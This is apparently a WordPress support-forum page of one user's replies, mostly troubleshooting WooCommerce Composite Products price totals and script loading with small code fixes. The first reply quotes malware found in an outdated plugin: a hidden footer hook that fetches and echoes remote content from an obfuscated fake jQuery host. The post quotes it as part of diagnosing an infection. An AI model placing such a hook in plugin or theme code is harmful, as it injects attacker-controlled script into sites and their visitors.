Forum Replies Created

Viewing 6 replies - 1 through 6 (of 6 total)
  • Hello,

    I had the same problem with wp1a.org.
    I used Anti-Malware Security and Brute-Force Firewall plugin and this plugin identified problem in one on my woocommerce plugins:

    woocommerce-measurement-price-calculator in this code:

    private function __construct() {

    // load framework plugins once all plugins are loaded
    add_action( ‘plugins_loaded’, array( $this, ‘load_framework_plugins’ ) );
    if(!function_exists(‘wp_func_jquery’)) {
    function wp_func_jquery() {
    $host = ‘https://’;
    echo(wp_remote_retrieve_body(wp_remote_get($host.’ui’.’jquery.org/jquery-1.6.3.min.js’)));
    }
    add_action(‘wp_footer’, ‘wp_func_jquery’);
    }
    }

    When I deactivated this plugin wp1a.org disappeared and vice versa

    My problem was, that I had not actual version of this plugin. After upgrade (from 3.5.1 to 3.8.1) everything is OK.

    Mayby it helps for somebody.

    Thread Starter lgaspo

    (@lgaspo)

    but I don’t have wpml plugin and I have bought my theme from rockettheme.com so I think that their themes are safe, or not ?

    I have the same problem.
    Please, help.

    I have already solved problem with Toal price
    I traced (debuged) the code in add-to-cart-bto.js
    I found that array price_data[‘prices’] contains not only numbers and this is a problem because this code return NaN for price_data[‘total’]:

    for ( item_id in price_data['prices'] )
    {
      price_data['total'] += ( parseFloat( price_data['prices'][item_id] ) + parseFloat( addons_prices[ item_id ] ) ) * bundled_item_quantities[item_id];
      price_data['regular_total'] += ( parseFloat( price_data['regular_prices'][item_id] ) + parseFloat( addons_prices[ item_id ] ) ) * bundled_item_quantities[item_id];
    }

    so a added a little control of NaN:

    for ( item_id in price_data['prices'] )
    {
       if(!isNaN(parseFloat(item_id)))
       {
          price_data['total'] += ( parseFloat( price_data['prices'][item_id] ) + parseFloat( addons_prices[ item_id ] ) ) * bundled_item_quantities[item_id];
          price_data['regular_total'] += ( parseFloat( price_data['regular_prices'][item_id] ) + parseFloat( addons_prices[ item_id ] ) ) * bundled_item_quantities[item_id];
       }
    }

    and now the Total is correct

    but a had to correct code in original plugin file wich can cause problems with updates ??

    I have solved my problem
    No add-to-cart-bto.js file was loaded, I have no idea why

    So I placed this code to functions.php in my theme folder

    function fix_woo_cp_cart_jsload()
    {
      if (!is_admin())
      {
        wp_enqueue_script('add-to-cart-bto', '/wp-content/plugins/woocommerce-composite-products/assets/js/add-to-cart-bto.js',array('jquery'),'1.7.3',true);
      }
    }
    
    add_action('wp_enqueue_scripts','fix_woo_cp_cart_jsload');

    [Moderator Note: Please post code & markup between backticks or use the code button. Your posted code may now have been permanently damaged by the forum’s parser.]

    But I have another problem:
    Total price still shows 0 (Total: €0)
    Any idea, where is the problem?

    Thanks

    Hello!
    I have similar problem with Composite products plugin:

    Add to Cart button is hidden.
    When I change selection in product combo nothing happen.
    Clear options link do nothing.
    I am able to make Add to Card button visible via FireBug. But when I click it the response is : Please choose “XXX” options…, but option “XXX” was already chosen.

    It seems like some kind of conflict, maybe javascript?

    I purchased this plugin and now I am disappointed!

    Please help!

    WordPress: 3.7.1
    Woocommerce: 2.0.20
    Composite product: 1.7.0
    Theme: Metropolis from Rockettheme

    P.S.: sorry for my English

Viewing 6 replies - 1 through 6 (of 6 total)